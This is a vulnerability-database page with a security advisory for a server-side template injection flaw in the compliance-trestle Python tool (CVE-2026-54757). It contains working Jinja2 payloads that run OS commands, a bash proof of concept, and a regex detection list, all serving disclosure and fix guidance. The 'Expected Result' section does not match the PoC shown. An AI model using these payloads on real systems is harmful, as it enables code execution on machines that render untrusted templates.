Vulnerability-Lookup

GHSA-JW39-3688-R4RX

Vulnerability from github – Published: 2026-08-28 16:15 – Updated: 2026-08-28 16:15

Summary

Trestle has Server-Side Template Injection (SSTI) via Recursive Template Re-evaluation of Untrusted Data

Details

Impact

A Server-Side Template Injection (SSTI) vulnerability exists in multiple locations of trestle's Jinja2 rendering pipeline due to a systemic pattern: untrusted data is re-parsed as Jinja2 template source code without sandboxing. This advisory tracks the root cause across all affected code paths.

The core anti-pattern is: treating runtime data (rendered output, included Markdown content, LUT values) as Jinja2 template source code and passing it to Parser.parse() or an equivalent rendering cycle, without using SandboxedEnvironment or escaping Jinja2 syntax delimiters. Because jinja2.Environment (not SandboxedEnvironment) is used, injected expressions can traverse Python object chains (__class__.__mro__, __globals__, __subclasses__()) to achieve arbitrary command execution via os.system() or subprocess.

Previously fixed instance (historical context):

An earlier version of render_template() in trestle/core/commands/author/jinja.py implemented a recursive while loop: rendered output was loaded via DictLoader into a new Environment and re-rendered until convergence. This allowed an attacker to inject {{ namespace.__init__.__globals__.os.system('command') }} into SSP data fields or LUT YAML values. When a trusted template rendered these data fields (e.g., Title: {{ ssp.metadata.title }}), the injected payload was written into the output, then re-evaluated as executable Jinja2 code in the next loop iteration. **This specific code path was fixed — render_template() now performs a single template.render(**lut) call.

Still-vulnerable code paths (this advisory):

MDCleanInclude.parse() — trestle/core/jinja/tags.py:148-151: Markdown file content is loaded via FileSystemLoader.get_source(), then re-parsed as Jinja2 source via Parser(self.environment, content).parse().
MDSectionInclude.parse() — trestle/core/jinja/tags.py:100-103: Extracted Markdown section text (md_section.content.raw_text) is re-parsed as Jinja2 source via Parser(self.environment, raw_text).parse().
MDDatestamp.parse() — trestle/core/jinja/tags.py:198-201: Date string is re-parsed; lower risk because the date string is internally generated from strftime() rather than user input.

All three paths share the identical root cause: data that should be treated as plain text is passed to Parser.parse() and executed as Jinja2 code in an un-sandboxed Environment.

Attack vectors:

Path A (Markdown include): Attacker places a malicious .md file with embedded Jinja2 payload in the trestle workspace. When {% md_clean_include "malicious.md" %} or {% mdsection_include %} is processed, the payload executes.
Path B (Data field injection — SSP/LUT): Attacker crafts an SSP document or YAML LUT where a data field value (e.g., metadata.title) contains {{ namespace.__init__.__globals__.os.system('id') }}. When rendered into a trusted template, if the output subsequently flows through any re-parsing code path, the payload executes.

The same __globals__.os.system() RCE technique demonstrated in the previously-fixed render_template vulnerability applies to the remaining re-parsing paths.

Workarounds

Disable vulnerable tags: Remove MDCleanInclude and MDSectionInclude from the Jinja2 extensions list in trestle/core/jinja/ext.py:32 if markdown includes are not required.
Audit included Markdown files: Review all Markdown files referenced by {% md_clean_include %} and {% mdsection_include %} tags for unexpected Jinja2 syntax ({{ }}, {% %}, {# #}).
Scan data sources: Scan SSP documents, YAML LUT files, and any other data sources rendered into templates for Jinja2 syntax patterns.
Restrict workspace write access: Ensure only trusted users can add or modify files in trestle workspace directories.
Pre-commit hook: Add a pre-commit hook to scan .md, .json, .yaml files for Jinja2 syntax patterns ({{ namespace, {% for, __globals__, __class__, __mro__, __subclasses__, os.system, subprocess) and block commits containing them.
CI/CD isolation: If trestle is used in automated pipelines processing third-party vendor-supplied SSPs or data, run it in an isolated container/sandbox with minimal privileges and no network access.

Attack Path (Validation Evidence)

Path A: via `{% md_clean_include %}` tag

[Entry Point] CLI: trestle jinja -i template.md.jinja -o output.md
    ↓ main() → JinjaCmd._run(args)  [trestle/core/commands/author/jinja.py:108]
    ↓
[Setup] JinjaCmd.jinja_ify(trestle_root, input_path, ...)  [jinja.py:178]
    ↓ jinja_env = JinjaCmd._create_jinja_environment(template_folder)  [jinja.py:192]
    ↓ template = jinja_env.get_template(str(r_input_file))  [jinja.py:193]
    ↓ output = JinjaCmd.render_template(template, lut, template_folder)  [jinja.py:225]
    ↓
[Render] Jinja2 engine encounters {% md_clean_include "malicious.md" %}
    ↓
[Tag Handler] MDCleanInclude.parse(parser)  [tags.py:115]
    ↓ markdown_source = "malicious.md"  [tags.py:127]
    ↓ self.environment.loader.get_source(self.environment, "malicious.md")  [tags.py:139]
    ↓    ← Loads file content from workspace directory (no restrictions on content)
    ↓ frontmatter.loads(md_content) → fm.content  [tags.py:140-141]
    ↓    ← NO SANITIZATION: Markdown body assigned directly to content variable
[SINK] local_parser = Parser(self.environment, content)  [tags.py:148]
    ↓    ← Markdown content parsed as Jinja2 template SOURCE CODE
[SINK] top_level_output = local_parser.parse()  [tags.py:149]
    ↓    ← ALL Jinja2 syntax in the .md file is EXECUTED
[Impact] SSTI — attacker-controlled Jinja2 code executes in template context

Path B: via `{% mdsection_include %}` tag

[Entry Point] Same as Path A
    ↓ Jinja2 engine encounters {% mdsection_include "doc.md" "Section Title" %}
    ↓
[Tag Handler] MDSectionInclude.parse(parser)  [tags.py:56]
    ↓ self.environment.loader.get_source(..., markdown_source.value)  [tags.py:82]
    ↓ DocsMarkdownNode.build_tree_from_markdown(fm.content.split('\n'))  [tags.py:86]
    ↓ full_md.get_node_for_key(section_title.value) → md_section  [tags.py:87]
    ↓    ← Extracts specific section from the markdown document
[SINK] local_parser = Parser(self.environment, md_section.content.raw_text)  [tags.py:100]
    ↓    ← Section raw text parsed as Jinja2 template SOURCE CODE
[SINK] top_level_output = local_parser.parse()  [tags.py:101]
    ↓    ← ALL Jinja2 syntax in the extracted section is EXECUTED
[Impact] SSTI — same impact as Path A, limited to a specific markdown section

Taint Flow (Validation Evidence)

Source: User-supplied .md file in trestle workspace (file system)
  Type: Markdown text file
  Controllability: FULL — attacker controls entire file content
    ↓
[Transform 1] FileSystemLoader.get_source()  [tags.py:82 or 139]
  Reads raw file content as string
  ✓ SANITIZATION: NONE — any content is loaded
    ↓
[Transform 2] frontmatter.loads(md_content)  [tags.py:83 or 140]
  Strips YAML frontmatter, preserves Markdown body
  ✓ SANITIZATION: NONE — only processes YAML header, ignores body content
    ↓
[Transform 3] fm.content → content variable  [tags.py:141] (Path A)
               OR md_section.content.raw_text  [tags.py:100] (Path B)
  Direct string assignment
  ✓ SANITIZATION: NONE — no filtering, encoding, or validation
    ↓
[Transform 4] adjust_heading_level(content, expected)  [tags.py:146] (Path A only)
  Adjusts Markdown heading levels (e.g., ## → ###)
  ✓ SANITIZATION: NONE — only modifies '#' character count, does not touch Jinja2 syntax
    ↓
[Sink] Parser(self.environment, tainted_string)  [tags.py:100 or 148]
  Tainted Markdown content is passed to Jinja2 Parser constructor as template source
[Sink] local_parser.parse()  [tags.py:101 or 149]
  All Jinja2 constructs ({{ }}, {% %}, {# #}) in tainted content are executed
    ↓
[Impact] SSTI — Jinja2 code from attacker-controlled Markdown file executes in template context

Sanitization Verdict: ABSENT
  - No sandboxing: jinja2.Environment used (not SandboxedEnvironment)
  - No syntax filtering: Jinja2 delimiters {{, {%, {# are NOT escaped
  - No content validation: Markdown body is not scanned for template syntax
  - autoescape=True is irrelevant: only affects HTML output encoding, not code execution

Proof of Concept

Setup

# Initialize trestle workspace
trestle init

# Create malicious markdown file with Jinja2 payload
cat > malicious.md << 'EOF'
---
yaml_header: ignored
---

# Compliance Documentation

Testing SSTI vulnerability:
Execute command: {{ ssp.__class__.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }}
EOF

# Create trigger template
cat > trigger.md.jinja << 'EOF'
# POC: SSTI via md_clean_include tag

{% md_clean_include "malicious.md" %}
EOF

# Create a dummy LUT file
cat > empty.yaml << 'EOF'
lut:
  api_key: super_secret_token_12345
  db_password: P@ssw0rd_2024
  jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
  aws_access_key: AKIAIOSFODNN7EXAMPLE
  aws_secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
  internal_api: https://internal.corp.example.com/api/v2/users
EOF

Execution

trestle init
trestle author jinja -i trigger.md.jinja -o output.md -lut empty.yaml

Observed Output

# POC: SSTI via md_clean_include tag

# Compliance Documentation

Testing SSTI vulnerability:
Execute command: root

Expected Result

The rendered output.md will contain the output of the {% for %} loop, revealing all key-value pairs from the lut template context dictionary. If the commented-out object traversal line is uncommented, Python internal objects may be accessible depending on the Jinja2 version and configuration.

Affected Component

File: trestle/core/jinja/tags.py
Class: MDCleanInclude (lines 106-151)
Class: MDSectionInclude (lines 47-103)
Function: MDCleanInclude.parse() (line 115), MDSectionInclude.parse() (line 56)
Configuring module: trestle/core/commands/author/jinja.py, method _create_jinja_environment() (line 304)
Dependency: Jinja2 (any version) — the vulnerability is in application code, not the Jinja2 library

Fix Recommendation

Important: The fix for render_template() (removing the recursive while loop) was a necessary first step, but is not sufficient. The same root cause exists in the custom Jinja2 tags. A comprehensive fix must address ALL code paths where data is re-parsed as Jinja2 template source.

Comprehensive Fix Strategy

Step 1 (Root cause fix): Remove all secondary Jinja2 parsing from custom tags where it is not needed:

# tags.py: MDCleanInclude.parse() — replace lines 148-151:
- local_parser = Parser(self.environment, content)
- top_level_output = local_parser.parse()
- return top_level_output.body
+ from jinja2 import nodes
+ return [nodes.Output([nodes.TemplateData(content)])]

# tags.py: MDSectionInclude.parse() — replace lines 100-103:
- local_parser = Parser(self.environment, md_section.content.raw_text)
- top_level_output = local_parser.parse()
- return top_level_output.body
+ from jinja2 import nodes
+ return [nodes.Output([nodes.TemplateData(md_section.content.raw_text)])]

Step 2 (Defense in depth): Switch to SandboxedEnvironment in _create_jinja_environment():

# jinja.py:304-308 — _create_jinja_environment()
+ from jinja2.sandbox import SandboxedEnvironment
- return Environment(
+ return SandboxedEnvironment(
      loader=FileSystemLoader(template_folder),
      extensions=extensions(),
      trim_blocks=True,
      autoescape=True
  )

Step 3 (Input validation): Add validation to reject input data containing Jinja2 syntax:

# jinja.py: add to _run() before rendering
_JINJA2_DANGEROUS_PATTERNS = [
    r'\{\{.*__globals__',
    r'\{\{.*__class__',
    r'\{\{.*__mro__',
    r'\{\{.*__subclasses__',
    r'\{\{.*__init__',
    r'\{\{.*os\.system',
    r'\{\{.*subprocess',
    r'\{%\s*for\s',
    r'\{%\s*if\s',
]

def _validate_data_field(value: str) -> bool:
    """Reject data values containing suspicious Jinja2 syntax."""
    for pattern in _JINJA2_DANGEROUS_PATTERNS:
        if re.search(pattern, value):
            return False
    return True

Alternative Fix (Milder): Escape Jinja2 syntax in untrusted data

  # tags.py: before any secondary parsing
+ import re
+ def escape_jinja2(text: str) -> str:
+     return re.sub(r'(\{\{|\{%|\{#)', r'\\\1', text)
+
+ content = escape_jinja2(content)  # apply before Parser()
  local_parser = Parser(self.environment, content)

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.12.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54757"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T16:15:38Z",
    "nvd_published_at": "2026-08-25T23:17:19Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA Server-Side Template Injection (SSTI) vulnerability exists in multiple locations of trestle\u0027s Jinja2 rendering pipeline due to a systemic pattern: **untrusted data is re-parsed as Jinja2 template source code without sandboxing**. This advisory tracks the root cause across all affected code paths.\n\nThe core anti-pattern is: treating runtime data (rendered output, included Markdown content, LUT values) as Jinja2 template source code and passing it to `Parser.parse()` or an equivalent rendering cycle, without using `SandboxedEnvironment` or escaping Jinja2 syntax delimiters. Because `jinja2.Environment` (not `SandboxedEnvironment`) is used, injected expressions can traverse Python object chains (`__class__.__mro__`, `__globals__`, `__subclasses__()`) to achieve arbitrary command execution via `os.system()` or `subprocess`.\n\n**Previously fixed instance (historical context):**\n\nAn earlier version of `render_template()` in `trestle/core/commands/author/jinja.py` implemented a recursive `while` loop: rendered output was loaded via `DictLoader` into a new `Environment` and re-rendered until convergence. This allowed an attacker to inject `{{ namespace.__init__.__globals__.os.system(\u0027command\u0027) }}` into SSP data fields or LUT YAML values. When a trusted template rendered these data fields (e.g., `Title: {{ ssp.metadata.title }}`), the injected payload was written into the output, then re-evaluated as executable Jinja2 code in the next loop iteration. **This specific code path was fixed \u2014 `render_template()` now performs a single `template.render(**lut)` call.\n\n**Still-vulnerable code paths (this advisory):**\n\n1. **`MDCleanInclude.parse()`** \u2014 `trestle/core/jinja/tags.py:148-151`: Markdown file content is loaded via `FileSystemLoader.get_source()`, then re-parsed as Jinja2 source via `Parser(self.environment, content).parse()`.\n\n2. **`MDSectionInclude.parse()`** \u2014 `trestle/core/jinja/tags.py:100-103`: Extracted Markdown section text (`md_section.content.raw_text`) is re-parsed as Jinja2 source via `Parser(self.environment, raw_text).parse()`.\n\n3. **`MDDatestamp.parse()`** \u2014 `trestle/core/jinja/tags.py:198-201`: Date string is re-parsed; lower risk because the date string is internally generated from `strftime()` rather than user input.\n\nAll three paths share the identical root cause: data that should be treated as plain text is passed to `Parser.parse()` and executed as Jinja2 code in an un-sandboxed `Environment`.\n\n**Attack vectors:**\n\n- **Path A (Markdown include):** Attacker places a malicious `.md` file with embedded Jinja2 payload in the trestle workspace. When `{% md_clean_include \"malicious.md\" %}` or `{% mdsection_include %}` is processed, the payload executes.\n- **Path B (Data field injection \u2014 SSP/LUT):** Attacker crafts an SSP document or YAML LUT where a data field value (e.g., `metadata.title`) contains `{{ namespace.__init__.__globals__.os.system(\u0027id\u0027) }}`. When rendered into a trusted template, if the output subsequently flows through any re-parsing code path, the payload executes.\n\nThe same `__globals__.os.system()` RCE technique demonstrated in the previously-fixed `render_template` vulnerability applies to the remaining re-parsing paths.\n\n\n### Workarounds\n\n1. **Disable vulnerable tags:** Remove `MDCleanInclude` and `MDSectionInclude` from the Jinja2 extensions list in `trestle/core/jinja/ext.py:32` if markdown includes are not required.\n2. **Audit included Markdown files:** Review all Markdown files referenced by `{% md_clean_include %}` and `{% mdsection_include %}` tags for unexpected Jinja2 syntax (`{{ }}`, `{% %}`, `{# #}`).\n3. **Scan data sources:** Scan SSP documents, YAML LUT files, and any other data sources rendered into templates for Jinja2 syntax patterns.\n4. **Restrict workspace write access:** Ensure only trusted users can add or modify files in trestle workspace directories.\n5. **Pre-commit hook:** Add a pre-commit hook to scan `.md`, `.json`, `.yaml` files for Jinja2 syntax patterns (`{{ namespace`, `{% for`, `__globals__`, `__class__`, `__mro__`, `__subclasses__`, `os.system`, `subprocess`) and block commits containing them.\n6. **CI/CD isolation:** If trestle is used in automated pipelines processing third-party vendor-supplied SSPs or data, run it in an isolated container/sandbox with minimal privileges and no network access.\n\n## Attack Path (Validation Evidence)\n\n### Path A: via `{% md_clean_include %}` tag\n\n```\n[Entry Point] CLI: trestle jinja -i template.md.jinja -o output.md\n    \u2193 main() \u2192 JinjaCmd._run(args)  [trestle/core/commands/author/jinja.py:108]\n    \u2193\n[Setup] JinjaCmd.jinja_ify(trestle_root, input_path, ...)  [jinja.py:178]\n    \u2193 jinja_env = JinjaCmd._create_jinja_environment(template_folder)  [jinja.py:192]\n    \u2193 template = jinja_env.get_template(str(r_input_file))  [jinja.py:193]\n    \u2193 output = JinjaCmd.render_template(template, lut, template_folder)  [jinja.py:225]\n    \u2193\n[Render] Jinja2 engine encounters {% md_clean_include \"malicious.md\" %}\n    \u2193\n[Tag Handler] MDCleanInclude.parse(parser)  [tags.py:115]\n    \u2193 markdown_source = \"malicious.md\"  [tags.py:127]\n    \u2193 self.environment.loader.get_source(self.environment, \"malicious.md\")  [tags.py:139]\n    \u2193    \u2190 Loads file content from workspace directory (no restrictions on content)\n    \u2193 frontmatter.loads(md_content) \u2192 fm.content  [tags.py:140-141]\n    \u2193    \u2190 NO SANITIZATION: Markdown body assigned directly to content variable\n[SINK] local_parser = Parser(self.environment, content)  [tags.py:148]\n    \u2193    \u2190 Markdown content parsed as Jinja2 template SOURCE CODE\n[SINK] top_level_output = local_parser.parse()  [tags.py:149]\n    \u2193    \u2190 ALL Jinja2 syntax in the .md file is EXECUTED\n[Impact] SSTI \u2014 attacker-controlled Jinja2 code executes in template context\n```\n\n### Path B: via `{% mdsection_include %}` tag\n\n```\n[Entry Point] Same as Path A\n    \u2193 Jinja2 engine encounters {% mdsection_include \"doc.md\" \"Section Title\" %}\n    \u2193\n[Tag Handler] MDSectionInclude.parse(parser)  [tags.py:56]\n    \u2193 self.environment.loader.get_source(..., markdown_source.value)  [tags.py:82]\n    \u2193 DocsMarkdownNode.build_tree_from_markdown(fm.content.split(\u0027\\n\u0027))  [tags.py:86]\n    \u2193 full_md.get_node_for_key(section_title.value) \u2192 md_section  [tags.py:87]\n    \u2193    \u2190 Extracts specific section from the markdown document\n[SINK] local_parser = Parser(self.environment, md_section.content.raw_text)  [tags.py:100]\n    \u2193    \u2190 Section raw text parsed as Jinja2 template SOURCE CODE\n[SINK] top_level_output = local_parser.parse()  [tags.py:101]\n    \u2193    \u2190 ALL Jinja2 syntax in the extracted section is EXECUTED\n[Impact] SSTI \u2014 same impact as Path A, limited to a specific markdown section\n```\n\n## Taint Flow (Validation Evidence)\n\n```\nSource: User-supplied .md file in trestle workspace (file system)\n  Type: Markdown text file\n  Controllability: FULL \u2014 attacker controls entire file content\n    \u2193\n[Transform 1] FileSystemLoader.get_source()  [tags.py:82 or 139]\n  Reads raw file content as string\n  \u2713 SANITIZATION: NONE \u2014 any content is loaded\n    \u2193\n[Transform 2] frontmatter.loads(md_content)  [tags.py:83 or 140]\n  Strips YAML frontmatter, preserves Markdown body\n  \u2713 SANITIZATION: NONE \u2014 only processes YAML header, ignores body content\n    \u2193\n[Transform 3] fm.content \u2192 content variable  [tags.py:141] (Path A)\n               OR md_section.content.raw_text  [tags.py:100] (Path B)\n  Direct string assignment\n  \u2713 SANITIZATION: NONE \u2014 no filtering, encoding, or validation\n    \u2193\n[Transform 4] adjust_heading_level(content, expected)  [tags.py:146] (Path A only)\n  Adjusts Markdown heading levels (e.g., ## \u2192 ###)\n  \u2713 SANITIZATION: NONE \u2014 only modifies \u0027#\u0027 character count, does not touch Jinja2 syntax\n    \u2193\n[Sink] Parser(self.environment, tainted_string)  [tags.py:100 or 148]\n  Tainted Markdown content is passed to Jinja2 Parser constructor as template source\n[Sink] local_parser.parse()  [tags.py:101 or 149]\n  All Jinja2 constructs ({{ }}, {% %}, {# #}) in tainted content are executed\n    \u2193\n[Impact] SSTI \u2014 Jinja2 code from attacker-controlled Markdown file executes in template context\n\nSanitization Verdict: ABSENT\n  - No sandboxing: jinja2.Environment used (not SandboxedEnvironment)\n  - No syntax filtering: Jinja2 delimiters {{, {%, {# are NOT escaped\n  - No content validation: Markdown body is not scanned for template syntax\n  - autoescape=True is irrelevant: only affects HTML output encoding, not code execution\n```\n\n## Proof of Concept\n\n### Setup\n\n```bash\n# Initialize trestle workspace\ntrestle init\n\n# Create malicious markdown file with Jinja2 payload\ncat \u003e malicious.md \u003c\u003c \u0027EOF\u0027\n---\nyaml_header: ignored\n---\n\n# Compliance Documentation\n\nTesting SSTI vulnerability:\nExecute command: {{ ssp.__class__.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027whoami\u0027).read() }}\nEOF\n\n# Create trigger template\ncat \u003e trigger.md.jinja \u003c\u003c \u0027EOF\u0027\n# POC: SSTI via md_clean_include tag\n\n{% md_clean_include \"malicious.md\" %}\nEOF\n\n# Create a dummy LUT file\ncat \u003e empty.yaml \u003c\u003c \u0027EOF\u0027\nlut:\n  api_key: super_secret_token_12345\n  db_password: P@ssw0rd_2024\n  jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\n  aws_access_key: AKIAIOSFODNN7EXAMPLE\n  aws_secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n  internal_api: https://internal.corp.example.com/api/v2/users\nEOF\n```\n\n### Execution\n\n```bash\ntrestle init\ntrestle author jinja -i trigger.md.jinja -o output.md -lut empty.yaml\n```\n\n### Observed Output\n\n```markdown\n# POC: SSTI via md_clean_include tag\n\n# Compliance Documentation\n\nTesting SSTI vulnerability:\nExecute command: root\n\n```\n\n### Expected Result\n\nThe rendered `output.md` will contain the output of the `{% for %}` loop, revealing all key-value pairs from the `lut` template context dictionary. If the commented-out object traversal line is uncommented, Python internal objects may be accessible depending on the Jinja2 version and configuration.\n\n\n## Affected Component\n\n- **File:** `trestle/core/jinja/tags.py`\n- **Class:** `MDCleanInclude` (lines 106-151)\n- **Class:** `MDSectionInclude` (lines 47-103)\n- **Function:** `MDCleanInclude.parse()` (line 115), `MDSectionInclude.parse()` (line 56)\n- **Configuring module:** `trestle/core/commands/author/jinja.py`, method `_create_jinja_environment()` (line 304)\n- **Dependency:** Jinja2 (any version) \u2014 the vulnerability is in application code, not the Jinja2 library\n\n## Fix Recommendation\n\n\u003e **Important:** The fix for `render_template()` (removing the recursive `while` loop) was a necessary first step, but is **not sufficient**. The same root cause exists in the custom Jinja2 tags. A comprehensive fix must address ALL code paths where data is re-parsed as Jinja2 template source.\n\n### Comprehensive Fix Strategy\n\n**Step 1 (Root cause fix):** Remove all secondary Jinja2 parsing from custom tags where it is not needed:\n\n```diff\n# tags.py: MDCleanInclude.parse() \u2014 replace lines 148-151:\n- local_parser = Parser(self.environment, content)\n- top_level_output = local_parser.parse()\n- return top_level_output.body\n+ from jinja2 import nodes\n+ return [nodes.Output([nodes.TemplateData(content)])]\n```\n\n```diff\n# tags.py: MDSectionInclude.parse() \u2014 replace lines 100-103:\n- local_parser = Parser(self.environment, md_section.content.raw_text)\n- top_level_output = local_parser.parse()\n- return top_level_output.body\n+ from jinja2 import nodes\n+ return [nodes.Output([nodes.TemplateData(md_section.content.raw_text)])]\n```\n\n**Step 2 (Defense in depth):** Switch to `SandboxedEnvironment` in `_create_jinja_environment()`:\n\n```diff\n# jinja.py:304-308 \u2014 _create_jinja_environment()\n+ from jinja2.sandbox import SandboxedEnvironment\n- return Environment(\n+ return SandboxedEnvironment(\n      loader=FileSystemLoader(template_folder),\n      extensions=extensions(),\n      trim_blocks=True,\n      autoescape=True\n  )\n```\n\n**Step 3 (Input validation):** Add validation to reject input data containing Jinja2 syntax:\n\n```python\n# jinja.py: add to _run() before rendering\n_JINJA2_DANGEROUS_PATTERNS = [\n    r\u0027\\{\\{.*__globals__\u0027,\n    r\u0027\\{\\{.*__class__\u0027,\n    r\u0027\\{\\{.*__mro__\u0027,\n    r\u0027\\{\\{.*__subclasses__\u0027,\n    r\u0027\\{\\{.*__init__\u0027,\n    r\u0027\\{\\{.*os\\.system\u0027,\n    r\u0027\\{\\{.*subprocess\u0027,\n    r\u0027\\{%\\s*for\\s\u0027,\n    r\u0027\\{%\\s*if\\s\u0027,\n]\n\ndef _validate_data_field(value: str) -\u003e bool:\n    \"\"\"Reject data values containing suspicious Jinja2 syntax.\"\"\"\n    for pattern in _JINJA2_DANGEROUS_PATTERNS:\n        if re.search(pattern, value):\n            return False\n    return True\n```\n\n### Alternative Fix (Milder): Escape Jinja2 syntax in untrusted data\n\n```diff\n  # tags.py: before any secondary parsing\n+ import re\n+ def escape_jinja2(text: str) -\u003e str:\n+     return re.sub(r\u0027(\\{\\{|\\{%|\\{#)\u0027, r\u0027\\\\\\1\u0027, text)\n+\n+ content = escape_jinja2(content)  # apply before Parser()\n  local_parser = Parser(self.environment, content)\n```",
  "id": "GHSA-jw39-3688-r4rx",
  "modified": "2026-08-28T16:15:38Z",
  "published": "2026-08-28T16:15:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-jw39-3688-r4rx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54757"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/pull/2257"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/0f82d19bd42f9cc0f1b3acd7fc3f6dafe3b6ae10"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/5335ff873a2a68eb7de43df029bea09cadff22fd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oscal-compass/compliance-trestle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/releases/tag/v3.12.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/releases/tag/v4.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Trestle has Server-Side Template Injection (SSTI) via Recursive Template Re-evaluation of Untrusted Data"
}

CVE-2026-54757 (GCVE-0-2026-54757)

Vulnerability from cvelistv5 – Published: 2026-08-25 23:02 – Updated: 2026-08-26 12:21

Title

Trestle has Server-Side Template Injection (SSTI) via Recursive Template Re-evaluation of Untrusted Data

Summary

Compliance-trestle (Trestle) is a Python SDK and command-line tool for managing OSCAL compliance documents. In versions before 3.12.4 and versions 4.0.0 through 4.0.3, Trestle is vulnerable to server-side template injection that can lead to remote code execution. This occurs because the MDCleanInclude and MDSectionInclude Jinja2 tags re-parse untrusted Markdown content as template source code using a non-sandboxed jinja2.Environment. An attacker who controls content that Trestle renders, such as a crafted workspace Markdown file, a third-party SSP document, or a YAML lookup-table value, can inject a Jinja2 expression that traverses Python object internals to execute arbitrary operating system commands in the context of the Trestle process. This issue is fixed in versions 3.12.4 and 4.1.0.

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-26 12:20 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/oscal-compass/compliance-trest…	x_refsource_CONFIRM
https://github.com/oscal-compass/compliance-trest…	x_refsource_MISC
https://github.com/oscal-compass/compliance-trest…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
oscal-compass	compliance-trestle	Affected: < 3.12.4 Affected: >= 4.0.0, < 4.1.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54757",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-26T12:20:38.208694Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-26T12:21:23.031Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-jw39-3688-r4rx"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "compliance-trestle",
          "vendor": "oscal-compass",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.12.4"
            },
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 4.1.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Compliance-trestle (Trestle) is a Python SDK and command-line tool for managing OSCAL compliance documents. In versions before 3.12.4 and versions 4.0.0 through 4.0.3, Trestle is vulnerable to server-side template injection that can lead to remote code execution. This occurs because the MDCleanInclude and MDSectionInclude Jinja2 tags re-parse untrusted Markdown content as template source code using a non-sandboxed jinja2.Environment. An attacker who controls content that Trestle renders, such as a crafted workspace Markdown file, a third-party SSP document, or a YAML lookup-table value, can inject a Jinja2 expression that traverses Python object internals to execute arbitrary operating system commands in the context of the Trestle process. This issue is fixed in versions 3.12.4 and 4.1.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-25T23:02:12.422Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-jw39-3688-r4rx",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-jw39-3688-r4rx"
        },
        {
